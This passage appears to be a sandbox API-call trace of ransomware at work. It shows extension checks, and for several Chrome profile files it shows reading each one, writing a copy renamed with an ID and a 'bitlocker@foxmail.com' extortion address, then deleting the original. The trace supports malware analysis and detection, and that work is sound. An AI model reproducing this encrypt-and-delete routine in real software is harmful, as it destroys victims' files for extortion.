(lpString=".zip") returned 4 [0178.660] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString=".rar") returned 4 [0178.660] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString=".bz2") returned 4 [0178.660] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString=".7z") returned 3 [0178.660] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.660] lstrlenW (lpString=".dbf") returned 4 [0178.660] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.660] lstrlenW (lpString=".1cd") returned 4 [0178.660] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.660] lstrlenW (lpString=".jpg") returned 4 [0178.660] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.661] lstrlenW (lpString="QuotaManager") returned 12 [0178.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.661] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=15360) returned 1 [0178.661] CloseHandle (hObject=0x334) returned 1 [0178.661] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager")) returned 0x2020 [0178.661] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.661] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.661] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0178.662] GetLastError () returned 0x0 [0178.662] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x3c00, lpOverlapped=0x0) returned 1 [0178.664] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x3c10, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x3c10, lpOverlapped=0x0) returned 1 [0178.665] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.665] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xec, lpOverlapped=0x0) returned 1 [0178.665] SetEndOfFile (hFile=0x124) returned 1 [0178.665] CloseHandle (hObject=0x124) returned 1 [0178.665] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.665] SetEndOfFile (hFile=0x334) returned 1 [0178.666] CloseHandle (hObject=0x334) returned 1 [0178.666] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.666] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager")) returned 1 [0178.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.667] lstrlenW (lpString=".doc") returned 4 [0178.667] lstrcmpiW (lpString1=".doc", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString=".docx") returned 5 [0178.667] lstrcmpiW (lpString1=".docx", lpString2="nager") returned -1 [0178.667] lstrlenW (lpString=".pdf") returned 4 [0178.667] lstrcmpiW (lpString1=".pdf", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString=".xls") returned 4 [0178.667] lstrcmpiW (lpString1=".xls", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString=".xlsx") returned 5 [0178.667] lstrcmpiW (lpString1=".xlsx", lpString2="nager") returned -1 [0178.667] lstrlenW (lpString=".ppt") returned 4 [0178.667] lstrcmpiW (lpString1=".ppt", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.667] lstrlenW (lpString=".zip") returned 4 [0178.667] lstrcmpiW (lpString1=".zip", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString=".rar") returned 4 [0178.667] lstrcmpiW (lpString1=".rar", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString=".bz2") returned 4 [0178.667] lstrcmpiW (lpString1=".bz2", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString=".7z") returned 3 [0178.667] lstrcmpiW (lpString1=".7z", lpString2="ger") returned -1 [0178.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.667] lstrlenW (lpString=".dbf") returned 4 [0178.667] lstrcmpiW (lpString1=".dbf", lpString2="ager") returned -1 [0178.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.667] lstrlenW (lpString=".1cd") returned 4 [0178.668] lstrcmpiW (lpString1=".1cd", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.668] lstrlenW (lpString=".jpg") returned 4 [0178.668] lstrcmpiW (lpString1=".jpg", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.668] lstrlenW (lpString=".doc") returned 4 [0178.668] lstrcmpiW (lpString1=".doc", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString=".docx") returned 5 [0178.668] lstrcmpiW (lpString1=".docx", lpString2="nager") returned -1 [0178.668] lstrlenW (lpString=".pdf") returned 4 [0178.668] lstrcmpiW (lpString1=".pdf", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString=".xls") returned 4 [0178.668] lstrcmpiW (lpString1=".xls", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString=".xlsx") returned 5 [0178.668] lstrcmpiW (lpString1=".xlsx", lpString2="nager") returned -1 [0178.668] lstrlenW (lpString=".ppt") returned 4 [0178.668] lstrcmpiW (lpString1=".ppt", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.668] lstrlenW (lpString=".zip") returned 4 [0178.668] lstrcmpiW (lpString1=".zip", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString=".rar") returned 4 [0178.668] lstrcmpiW (lpString1=".rar", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString=".bz2") returned 4 [0178.668] lstrcmpiW (lpString1=".bz2", lpString2="ager") returned -1 [0178.668] lstrlenW (lpString=".7z") returned 3 [0178.668] lstrcmpiW (lpString1=".7z", lpString2="ger") returned -1 [0178.668] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.668] lstrlenW (lpString=".dbf") returned 4 [0178.669] lstrcmpiW (lpString1=".dbf", lpString2="ager") returned -1 [0178.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.669] lstrlenW (lpString=".1cd") returned 4 [0178.669] lstrcmpiW (lpString1=".1cd", lpString2="ager") returned -1 [0178.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 88 [0178.669] lstrlenW (lpString=".jpg") returned 4 [0178.669] lstrcmpiW (lpString1=".jpg", lpString2="ager") returned -1 [0178.669] lstrlenW (lpString="QuotaManager-journal") returned 20 [0178.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.669] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0178.669] CloseHandle (hObject=0x334) returned 1 [0178.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.670] lstrlenW (lpString=".doc") returned 4 [0178.670] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString=".docx") returned 5 [0178.670] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.670] lstrlenW (lpString=".pdf") returned 4 [0178.670] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString=".xls") returned 4 [0178.670] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString=".xlsx") returned 5 [0178.670] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.670] lstrlenW (lpString=".ppt") returned 4 [0178.670] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.670] lstrlenW (lpString=".zip") returned 4 [0178.670] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString=".rar") returned 4 [0178.670] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString=".bz2") returned 4 [0178.670] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString=".7z") returned 3 [0178.670] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.670] lstrlenW (lpString=".dbf") returned 4 [0178.670] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.670] lstrlenW (lpString=".1cd") returned 4 [0178.670] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.670] lstrlenW (lpString=".jpg") returned 4 [0178.670] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.671] lstrlenW (lpString=".doc") returned 4 [0178.671] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString=".docx") returned 5 [0178.671] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.671] lstrlenW (lpString=".pdf") returned 4 [0178.671] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString=".xls") returned 4 [0178.671] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString=".xlsx") returned 5 [0178.671] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.671] lstrlenW (lpString=".ppt") returned 4 [0178.671] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.671] lstrlenW (lpString=".zip") returned 4 [0178.671] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString=".rar") returned 4 [0178.671] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString=".bz2") returned 4 [0178.671] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString=".7z") returned 3 [0178.671] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.671] lstrlenW (lpString=".dbf") returned 4 [0178.671] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.672] lstrlenW (lpString=".1cd") returned 4 [0178.672] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.672] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 96 [0178.672] lstrlenW (lpString=".jpg") returned 4 [0178.672] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.672] lstrlenW (lpString="README") returned 6 [0178.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.673] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=180) returned 1 [0178.673] CloseHandle (hObject=0x334) returned 1 [0178.673] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme")) returned 0x2020 [0178.673] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.674] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.674] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0178.674] GetLastError () returned 0x0 [0178.674] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0xb4, lpOverlapped=0x0) returned 1 [0178.675] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0178.676] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.676] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0178.676] SetEndOfFile (hFile=0x124) returned 1 [0178.676] CloseHandle (hObject=0x124) returned 1 [0178.676] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.676] SetEndOfFile (hFile=0x334) returned 1 [0178.677] CloseHandle (hObject=0x334) returned 1 [0178.677] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.677] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme")) returned 1 [0178.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.678] lstrlenW (lpString=".doc") returned 4 [0178.678] lstrcmpiW (lpString1=".doc", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString=".docx") returned 5 [0178.678] lstrcmpiW (lpString1=".docx", lpString2="EADME") returned -1 [0178.678] lstrlenW (lpString=".pdf") returned 4 [0178.678] lstrcmpiW (lpString1=".pdf", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString=".xls") returned 4 [0178.678] lstrcmpiW (lpString1=".xls", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString=".xlsx") returned 5 [0178.678] lstrcmpiW (lpString1=".xlsx", lpString2="EADME") returned -1 [0178.678] lstrlenW (lpString=".ppt") returned 4 [0178.678] lstrcmpiW (lpString1=".ppt", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.678] lstrlenW (lpString=".zip") returned 4 [0178.678] lstrcmpiW (lpString1=".zip", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString=".rar") returned 4 [0178.678] lstrcmpiW (lpString1=".rar", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString=".bz2") returned 4 [0178.678] lstrcmpiW (lpString1=".bz2", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString=".7z") returned 3 [0178.678] lstrcmpiW (lpString1=".7z", lpString2="DME") returned -1 [0178.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.678] lstrlenW (lpString=".dbf") returned 4 [0178.678] lstrcmpiW (lpString1=".dbf", lpString2="ADME") returned -1 [0178.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.678] lstrlenW (lpString=".1cd") returned 4 [0178.678] lstrcmpiW (lpString1=".1cd", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.679] lstrlenW (lpString=".jpg") returned 4 [0178.679] lstrcmpiW (lpString1=".jpg", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.679] lstrlenW (lpString=".doc") returned 4 [0178.679] lstrcmpiW (lpString1=".doc", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString=".docx") returned 5 [0178.679] lstrcmpiW (lpString1=".docx", lpString2="EADME") returned -1 [0178.679] lstrlenW (lpString=".pdf") returned 4 [0178.679] lstrcmpiW (lpString1=".pdf", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString=".xls") returned 4 [0178.679] lstrcmpiW (lpString1=".xls", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString=".xlsx") returned 5 [0178.679] lstrcmpiW (lpString1=".xlsx", lpString2="EADME") returned -1 [0178.679] lstrlenW (lpString=".ppt") returned 4 [0178.679] lstrcmpiW (lpString1=".ppt", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.679] lstrlenW (lpString=".zip") returned 4 [0178.679] lstrcmpiW (lpString1=".zip", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString=".rar") returned 4 [0178.679] lstrcmpiW (lpString1=".rar", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString=".bz2") returned 4 [0178.679] lstrcmpiW (lpString1=".bz2", lpString2="ADME") returned -1 [0178.679] lstrlenW (lpString=".7z") returned 3 [0178.679] lstrcmpiW (lpString1=".7z", lpString2="DME") returned -1 [0178.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.680] lstrlenW (lpString=".dbf") returned 4 [0178.680] lstrcmpiW (lpString1=".dbf", lpString2="ADME") returned -1 [0178.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.680] lstrlenW (lpString=".1cd") returned 4 [0178.680] lstrcmpiW (lpString1=".1cd", lpString2="ADME") returned -1 [0178.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 82 [0178.680] lstrlenW (lpString=".jpg") returned 4 [0178.680] lstrcmpiW (lpString1=".jpg", lpString2="ADME") returned -1 [0178.680] lstrlenW (lpString="Secure Preferences") returned 18 [0178.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.680] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=35651) returned 1 [0178.680] CloseHandle (hObject=0x334) returned 1 [0178.681] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences")) returned 0x2020 [0178.681] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js 